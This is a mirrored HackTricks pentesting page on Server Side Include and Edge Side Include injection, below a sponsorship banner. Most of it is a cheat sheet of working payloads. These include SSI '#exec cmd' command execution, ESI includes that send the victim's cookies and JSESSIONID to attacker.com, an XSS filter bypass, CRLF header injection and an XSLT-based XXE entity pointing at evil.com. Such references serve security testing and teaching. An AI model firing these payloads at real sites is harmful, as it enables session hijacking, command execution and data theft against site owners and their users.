mirror of https://github.com/carlospolop/hacktricks synced 2024-11-16 09:48:14 +00:00

autoad 19fd72e857 Ad hacktricks sponsoring

2022-04-28 16:01:33 +00:00

7.5 KiB

Raw Blame History

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.

Server Side Inclusion/Edge Side Inclusion Injection

Server Side Inclusion Basic Information

SSI (Server Side Includes) are directives that are placed in HTML pages, and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.
For example, you might place a directive into an existing HTML page, such as:

And, when the page is served, this fragment will be evaluated and replaced with its value:

Tuesday, 15-Jan-2013 19:28:54 EST

The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution. (Definition taken from here).

You can infer the presence of SSI if the web application uses files with the extensions .shtml, .shtm or .stm, but it's not only the case.

A typical SSI expression has the following format:

<!--#directive param="value" -->

Check

<!--#echo var="DOCUMENT_NAME" -->       #Document name
<!--#echo var="DATE_LOCAL" -->          #Date 
<!--#include virtual="/index.html" -->  #File inclusion
<!--#exec cmd="dir" -->                 #Command exec
<!--#exec cmd="ls" -->                  #Command exec

Edge Side Inclusion

There is a problem caching information or dynamic applications as part of the content may have varied for the next time the content is retrieved. This is what ESI is used form, to indicate using ESI tags the dynamic content that needs to be generated before sending the cache version.
if an attacker is able to inject an ESI tag inside the cache content, then, he could be able to inject arbitrary content on the document before it's sent to the users.

ESI Detection

The following header in a response from the server means that the server is using ESI:

Surrogate-Control: content="ESI/1.0"

If you can't find this header, the server might be using ESI anyways.
A blind exploitation approach can also be used as a request should arrive to the attackers server:

<esi:include src=http://attacker.com/>

ESI exploitation

XSS

The following ESI directive will load an arbitrary file inside the response of the server

<esi:include src=http://attacker.com/xss.html>

The file http://attacker.com/xss.html may contain a XSS payload like <script>alert(1)</script>

Bypass client XSS protection

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

Private Local File

Do not confuse this with a "Local File Inclusion":

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Akamai debug

This will send debug information included in the response:

<esi:debug/>

ESI + XSLT = XXE

It is also possible to add ** eXtensible Stylesheet Language Transformations (XSLT) ** based ESI includes by specifying the xslt value to the dca parameter. The following include will cause the HTTP surrogate to request the XML and XSLT file. The XSLT file is then used to filter the XML file. This XML file can be used to perform XML External Entity (XXE) attacks. This allows attackers to perform SSRF attacks, which is not very useful since this must be performed through ESI includes, which is an SSRF vector itself. External DTDs are not parsed since the underlying library (Xalan) has no support for it. This means we cannot extract local files.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

The XSLT file:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Check the XSLT page:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md {% endcontent-ref %}

References

Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}